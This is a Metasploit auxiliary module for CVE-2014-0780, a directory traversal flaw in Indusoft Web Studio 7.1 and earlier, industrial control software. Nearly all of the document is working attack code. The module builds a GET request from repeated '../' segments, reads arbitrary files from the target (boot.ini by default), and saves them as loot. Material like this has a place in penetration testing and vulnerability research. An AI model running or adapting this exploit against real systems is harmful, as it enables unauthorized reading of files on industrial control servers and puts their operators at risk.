Indusoft Web Studio Directory Traversal

`require 'msf/core'  
  
class MetasploitModule < Msf::Auxiliary  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Indusoft Web Studio Directory Traversal',  
'Description' => %q{  
This module exploits a flaw found in Indusoft Web Studio  
<= 7.1 before SP2 Patch 4. This specific flaw allows users  
to browse outside of the webroot to download files found  
on the underlying system  
},  
'Author' => [ 'James Fitts' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'CVE', '2014-0780' ],  
[ 'ZDI', '14-118/' ],  
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02']  
],  
'DisclosureDate' => 'Jan 18 2013'))  
  
register_options(  
[  
OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),  
OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),  
Opt::RPORT(80)  
], self.class )  
end  
  
def run  
  
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']  
levels = "/" + ("../" * depth)  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/" + levels + datastore['FILE'],  
})  
  
if res and res.code == 200 and res.message =~ /Sending file/  
loot = res.body  
if not loot or loot.empty?  
print_status("File from #{rhost}:#{rport} is empty...")  
return  
end  
file = ::File.basename(datastore['FILE'])  
path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])  
print_status("Stored #{datastore['FILE']} to #{path}")  
return  
end  
  
end  
end  
  
`